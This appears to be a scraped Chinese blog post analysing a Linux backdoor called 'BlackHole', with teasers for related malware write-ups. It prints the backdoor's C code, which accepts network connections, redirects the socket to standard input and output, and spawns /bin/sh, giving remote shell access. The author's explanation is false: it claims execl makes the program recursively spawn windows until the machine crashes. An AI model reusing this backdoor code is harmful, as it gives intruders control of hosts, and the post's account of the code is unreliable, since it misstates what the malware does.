基于Linux平台病毒BlackHole病毒解析

今天遇到了一个病毒,代码量不多,但是利用了一个函数的小空子,杀伤力确实挺惊人的。

转载请注明出处:http://blog.csdn.net/u010484477谢谢^_^

这个病毒前面就是常规的:

socket->bind->listen这个过程大家都

下面我想详细说一下它的攻击方式:

while ( 1 )

{

nsock = accept(sock, (struct sockaddr *)&v10, (socklen_t *)&v9);//
wait to link

if ( nsock < 0 )

break;

if ( fork() )                               //
if Create progress is father progress

{

send(nsock, "\nConnected!\n\n", strlen("\nConnected!\n\n") - 1, 0);

send(nsock, "This fine tool coded by Bronc Buster\n", strlen("This fine tool coded by Bronc Buster\n") - 1, 0);//这是他在自己娱乐呢

send(

nsock,

"Please enter each command followed by ‘;‘\n",

strlen("Please enter each command followed by ‘;‘\n") - 1,

0);

dup2(nsock, 0);

dup2(nsock, 1);

dup2(nsock, 2);


execl("/bin/sh", "/bin/sh", 0);
**************这句话就是真正的攻击了,先找找execl看看他咋攻击的呢

close(nsock);

exit(0);

}

close(nsock);

}

在execl中第一个参数是path即指向要执行的文件路径第二个参数是执行该文件的参数列表

在上面的代码中首先系统找到/bin/sh这一路径,然后是第二个参数执行/bin/sh,弹出一个窗口,而接下来/bin/sh又作为路径,继续寻找相应的参数列表,也就是/bin/sh,然后再执行,再弹窗,再查找,执行,弹窗,查找,执行,弹窗,查找。。。。一直下去,直到。。直到电脑over

这个病毒写的杀伤力还是挺大的,(⊙o⊙)学无止境啊

最后是一句话送给大家:

很多事情就像旅行一样,但你决定要出发的时候,最困难的部分已经完成了!

基于Linux平台病毒BlackHole病毒解析,布布扣,bubuko.com

时间: 2024-10-13 06:11:00

基于Linux平台病毒BlackHole病毒解析的相关文章

基于Linux平台下网络病毒Caem.c源码及解析

Came.c型病毒在这里主要修改了用户的密码,同时对用户的终端设备进行了监视.希望与大家共同交流 转载请注明出处:http://blog.csdn.net/u010484477     O(∩_∩)O谢谢 #define HOME "/" #define TIOCSCTTY 0x540E #define TIOCGWINSZ 0x5413 #define TIOCSWINSZ 0x5414 #define ECHAR 0x1d #define PORT 39617 #define BU

基于Linux平台病毒Wirenet.c解析

在分析Wirenet.c时,感觉自己学到了很多很赞的思想,希望跟大家一同交流. 转载请注明出处:http://blog.csdn.net/u010484477谢谢^_^ 这次并不想通篇的进行分析了,我想写出两块病毒的恶意代码,觉得思想挺好的. 一.删除某目录下的所有文件 pathpoint = opendir(path);  //打开一个目录 dirent = readdir(pathpoint);//读取目录,返回dirent结构体指针 fdname = dirent->d_name;//得到

基于Linux平台下的僵尸网络病毒《比尔盖茨》

感觉分析的很好,所以决定翻译出来,希望和大家多多交流O(∩_∩)O~ 转载请注明出处:http://blog.csdn.net/u010484477     O(∩_∩)O谢谢 关键字:病毒,linux,信息安全 我昨天写的日志里面提到,家用路由器在x86的CentOS系统下奇怪的自己行动,像是在自己加载处理器.于是我决定爬上去看看,在那里发生了什么,然后我马上意识到有人爬到服务器和挂在进程中的dgnfd564sdf.com.主要是下面几个方面atddd,cupsdd,cupsddh, ksap

基于linux平台的find命令

一.linux查找指令有,which,whereis,locate,find,其中比较重要的是find命令. a.which:寻找执行档 b.whereis:寻找特定档案 c.locate d.find 二.find命令的格式:find [PATH] [option] [action] 参数与选项 1).与时间有关系的选项,-mtime,-ctime,-atime. -mtime n: n 为数字,意义为在 n 天之前的[一天之内]被更改过内容的档案: -mtime +n: 在n天之前(不含n天

基于linux平台的FFmpeg安装部署

FFmpeg安装部署 系统环境 [[email protected] ~]# iostat Linux 2.6.32-573.3.1.el6.x86_64 (ceshiji) 2018年03月04日 _x86_64_ (8 CPU) [[email protected] ~]# cat /etc/redhat-release CentOS release 6.7 (Final) [[email protected] ~]# getenforce Disabled 安装所需包或插件(1)faac-

基于Linux平台实现的流式套接字客户端服务器端代码

(1)服务器段代码如下: #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <time.h> #include <sys/socket.h> #inclu

Linux平台QT数据库编程(来自网络)

Linux平台QT数据库编程 在linux平台使用qt来编写GUI程序,在进行数据库编程的时候,有两种选择方式,分别是:基于linux平台的数据库接口函数编程,另一种是使用qt自带的有关数据库类.那在这里我分别来讲一下这两种方式的实现. 一.使用linux平台的数据库接口编程: 在这里我使用的是一款免费的数据库sqlite,从网络上下一个sqlite-3.0.8.tar.gz源码包,然后进行安装,安装好后就可以使用它提供的函数接口.接下来我们用安装好的sqlite提供的函数接口,在QT中使用的,

(0.2.3)Linux平台下二进制方式安装mysql

本章节:二进制安装mysql 目录: 1.基于Linux平台的Mysql项目场景介绍 2.mysql数据库运行环境准备-最优配置 3.如何下载mysql数据库 4.linux平台下二进制文件方式安装mysql 4.1.环境检查(libaio包) 4.2.安装过程 (1)下载文件.上传安装程序 (2)创建用户,组,创建目录 (3)解压安装程序包 (4)修改权限(授权用户对解压目录的权限) (5)配置环境变量(以便可以直接运行mysql命令) (6)准备参数配置文件 (7)开始初始化Mysql (8

基于Linux系统的病毒

尽管在Linux里传播的病毒不多,但也是存在一些,我从一些安全站点搜集了一些资料. 1.病毒名称: Linux.Slapper.Worm 类别: 蠕虫 病毒资料: 感染系统:Linux 不受影响系统:Windows 3.x, Windows 95, Windows 98, Windows NT, Windows 2000, Windows XP, Windows Me, Macintosh 病毒传播: 端口:80, 443, 2002 感染目标:各版本Linux系统上的Apache Web服务器